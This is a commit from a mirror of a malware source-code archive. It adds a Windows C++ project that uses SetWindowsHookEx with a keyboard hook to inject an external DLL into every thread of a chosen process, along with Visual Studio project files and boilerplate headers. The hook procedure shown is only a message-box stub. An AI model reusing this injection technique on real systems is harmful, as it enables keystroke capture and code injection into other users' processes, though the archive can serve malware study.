mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2026-06-15 23:39:23 +00:00
updates and moves
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This commit is contained in:
+94
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// SetWindowsHookEx.cpp : 定义控制台应用程序的入口点。
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//
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#include "stdafx.h"
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#include <Windows.h>
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#include <iostream>
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using namespace std;
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#include "tlhelp32.h"
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HHOOK Handle = NULL;
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LRESULT CALLBACK HookProc
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(
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int nCode,
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WPARAM wParam,
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LPARAM lParam
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);
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BOOL InstallSetWindowsHookEx(ULONG ProcessId,BOOL Hook)
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{
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if(Hook)
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{
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HMODULE hModule = LoadLibrary(L"DllTestx64.dll");
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if(hModule==NULL)
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{
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cout<<"Loadlibrary Fail"<<endl;
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getchar();
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return FALSE;
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}
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HOOKPROC TestAddress = (HOOKPROC)GetProcAddress(hModule,"Test");
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if(TestAddress==NULL)
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{
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cout<<"Get HookProc Failed"<<endl;
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getchar();
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return FALSE;
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}
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// 全局钩子
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// Handle = SetWindowsHookEx(WH_KEYBOARD,TestAddress,hModule,0);
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// 定义线程信息结构
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THREADENTRY32 te32 = {sizeof(THREADENTRY32)} ;
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//创建系统线程快照
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HANDLE hThreadSnap = CreateToolhelp32Snapshot ( TH32CS_SNAPTHREAD, 0 ) ;
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if ( hThreadSnap == INVALID_HANDLE_VALUE )
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return FALSE ;
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// 循环枚举线程信息
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if ( Thread32First ( hThreadSnap, &te32 ) )
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{
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do{
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if(te32.th32OwnerProcessID == ProcessId)
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{
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Handle = SetWindowsHookEx(WH_KEYBOARD,TestAddress,hModule,te32.th32ThreadID);
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if(Handle == NULL)
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{
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printf("The KeyBoard could not be hooked LastError [%d]\n", GetLastError());
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getchar();
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return FALSE;
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}
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}
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}while (Thread32Next(hThreadSnap, &te32));
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}
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CloseHandle (hThreadSnap);
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}
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else
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{
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UnhookWindowsHookEx(Handle);
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}
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}
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int _tmain(int argc, _TCHAR* argv[])
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{
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int a = 0;
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int b = 0;
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cout<<"Please input ProcessId:\r\n";
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cin>>a;
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InstallSetWindowsHookEx(a,TRUE);
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cin>>b;
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if(b==20)
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{
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InstallSetWindowsHookEx(a,FALSE);
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}
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return 0;
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}
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LRESULT CALLBACK HookProc
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(
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int nCode,
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WPARAM wParam,
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LPARAM lParam
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)
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{
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MessageBox(NULL,L"Suu",L"Suu",1);
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return 0;
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}
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+152
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<?xml version="1.0" encoding="utf-8"?>
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<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
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<ItemGroup Label="ProjectConfigurations">
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<ProjectConfiguration Include="Debug|Win32">
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<Configuration>Debug</Configuration>
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<Platform>Win32</Platform>
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</ProjectConfiguration>
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<ProjectConfiguration Include="Debug|x64">
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<Configuration>Debug</Configuration>
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<Platform>x64</Platform>
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</ProjectConfiguration>
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<ProjectConfiguration Include="Release|Win32">
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<Configuration>Release</Configuration>
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<Platform>Win32</Platform>
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</ProjectConfiguration>
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<ProjectConfiguration Include="Release|x64">
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<Configuration>Release</Configuration>
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<Platform>x64</Platform>
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</ProjectConfiguration>
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</ItemGroup>
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<PropertyGroup Label="Globals">
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<ProjectGuid>{80FB0788-EDF7-4F97-A3E6-4FA386C40A96}</ProjectGuid>
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<Keyword>Win32Proj</Keyword>
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<RootNamespace>SetWindowsHookEx</RootNamespace>
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</PropertyGroup>
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<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
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<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
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<ConfigurationType>Application</ConfigurationType>
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<UseDebugLibraries>true</UseDebugLibraries>
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<CharacterSet>Unicode</CharacterSet>
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</PropertyGroup>
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<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
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<ConfigurationType>Application</ConfigurationType>
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<UseDebugLibraries>true</UseDebugLibraries>
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<CharacterSet>Unicode</CharacterSet>
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</PropertyGroup>
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<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
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<ConfigurationType>Application</ConfigurationType>
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<UseDebugLibraries>false</UseDebugLibraries>
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<WholeProgramOptimization>true</WholeProgramOptimization>
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<CharacterSet>Unicode</CharacterSet>
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</PropertyGroup>
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<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
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<ConfigurationType>Application</ConfigurationType>
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<UseDebugLibraries>false</UseDebugLibraries>
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<WholeProgramOptimization>true</WholeProgramOptimization>
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<CharacterSet>Unicode</CharacterSet>
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</PropertyGroup>
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<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
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<ImportGroup Label="ExtensionSettings">
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</ImportGroup>
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<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
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<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
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</ImportGroup>
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<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets">
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<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
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</ImportGroup>
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<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
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<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
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</ImportGroup>
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<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets">
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<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
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</ImportGroup>
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<PropertyGroup Label="UserMacros" />
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<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
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<LinkIncremental>true</LinkIncremental>
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</PropertyGroup>
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<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
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<LinkIncremental>true</LinkIncremental>
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</PropertyGroup>
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<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
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<LinkIncremental>false</LinkIncremental>
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</PropertyGroup>
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<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
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<LinkIncremental>false</LinkIncremental>
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</PropertyGroup>
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<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
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<ClCompile>
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<PrecompiledHeader>Use</PrecompiledHeader>
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<WarningLevel>Level3</WarningLevel>
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<Optimization>Disabled</Optimization>
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<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
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</ClCompile>
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<Link>
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<SubSystem>Console</SubSystem>
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<GenerateDebugInformation>true</GenerateDebugInformation>
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</Link>
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</ItemDefinitionGroup>
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<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
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<ClCompile>
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<PrecompiledHeader>Use</PrecompiledHeader>
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<WarningLevel>Level3</WarningLevel>
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<Optimization>Disabled</Optimization>
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<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
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</ClCompile>
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<Link>
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<SubSystem>Console</SubSystem>
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<GenerateDebugInformation>true</GenerateDebugInformation>
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</Link>
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</ItemDefinitionGroup>
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<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
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<ClCompile>
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<WarningLevel>Level3</WarningLevel>
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<PrecompiledHeader>Use</PrecompiledHeader>
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<Optimization>MaxSpeed</Optimization>
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<FunctionLevelLinking>true</FunctionLevelLinking>
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<IntrinsicFunctions>true</IntrinsicFunctions>
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<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
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</ClCompile>
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<Link>
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<SubSystem>Console</SubSystem>
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<GenerateDebugInformation>true</GenerateDebugInformation>
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<EnableCOMDATFolding>true</EnableCOMDATFolding>
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<OptimizeReferences>true</OptimizeReferences>
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</Link>
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</ItemDefinitionGroup>
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<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
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<ClCompile>
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<WarningLevel>Level3</WarningLevel>
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<PrecompiledHeader>Use</PrecompiledHeader>
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<Optimization>MaxSpeed</Optimization>
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<FunctionLevelLinking>true</FunctionLevelLinking>
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<IntrinsicFunctions>true</IntrinsicFunctions>
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<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
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</ClCompile>
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<Link>
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<SubSystem>Console</SubSystem>
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<GenerateDebugInformation>true</GenerateDebugInformation>
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<EnableCOMDATFolding>true</EnableCOMDATFolding>
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<OptimizeReferences>true</OptimizeReferences>
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</Link>
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</ItemDefinitionGroup>
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<ItemGroup>
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<None Include="ReadMe.txt" />
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</ItemGroup>
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<ItemGroup>
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<ClInclude Include="stdafx.h" />
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<ClInclude Include="targetver.h" />
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</ItemGroup>
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<ItemGroup>
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<ClCompile Include="SetWindowsHookEx.cpp" />
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<ClCompile Include="stdafx.cpp">
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<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">Create</PrecompiledHeader>
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<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">Create</PrecompiledHeader>
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<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">Create</PrecompiledHeader>
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<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|x64'">Create</PrecompiledHeader>
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</ClCompile>
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</ItemGroup>
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<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
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<ImportGroup Label="ExtensionTargets">
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</ImportGroup>
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</Project>
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+36
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<?xml version="1.0" encoding="utf-8"?>
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<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
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<ItemGroup>
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<Filter Include="源文件">
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<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
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<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
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</Filter>
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<Filter Include="头文件">
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<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
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<Extensions>h;hpp;hxx;hm;inl;inc;xsd</Extensions>
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</Filter>
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<Filter Include="资源文件">
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<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
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<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
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</Filter>
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</ItemGroup>
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<ItemGroup>
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<None Include="ReadMe.txt" />
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</ItemGroup>
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<ItemGroup>
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<ClInclude Include="stdafx.h">
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<Filter>头文件</Filter>
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</ClInclude>
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<ClInclude Include="targetver.h">
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<Filter>头文件</Filter>
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</ClInclude>
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</ItemGroup>
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<ItemGroup>
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<ClCompile Include="stdafx.cpp">
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<Filter>源文件</Filter>
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</ClCompile>
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<ClCompile Include="SetWindowsHookEx.cpp">
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<Filter>源文件</Filter>
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</ClCompile>
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</ItemGroup>
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</Project>
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@@ -0,0 +1,8 @@
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// stdafx.cpp : 只包括标准包含文件的源文件
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// SetWindowsHookEx.pch 将作为预编译头
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// stdafx.obj 将包含预编译类型信息
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#include "stdafx.h"
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// TODO: 在 STDAFX.H 中
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// 引用任何所需的附加头文件,而不是在此文件中引用
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@@ -0,0 +1,15 @@
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// stdafx.h : 标准系统包含文件的包含文件,
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// 或是经常使用但不常更改的
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// 特定于项目的包含文件
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//
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#pragma once
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#include "targetver.h"
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#include <stdio.h>
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#include <tchar.h>
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// TODO: 在此处引用程序需要的其他头文件
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@@ -0,0 +1,8 @@
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#pragma once
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// 包括 SDKDDKVer.h 将定义可用的最高版本的 Windows 平台。
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// 如果要为以前的 Windows 平台生成应用程序,请包括 WinSDKVer.h,并将
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// WIN32_WINNT 宏设置为要支持的平台,然后再包括 SDKDDKVer.h。
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#include <SDKDDKVer.h>
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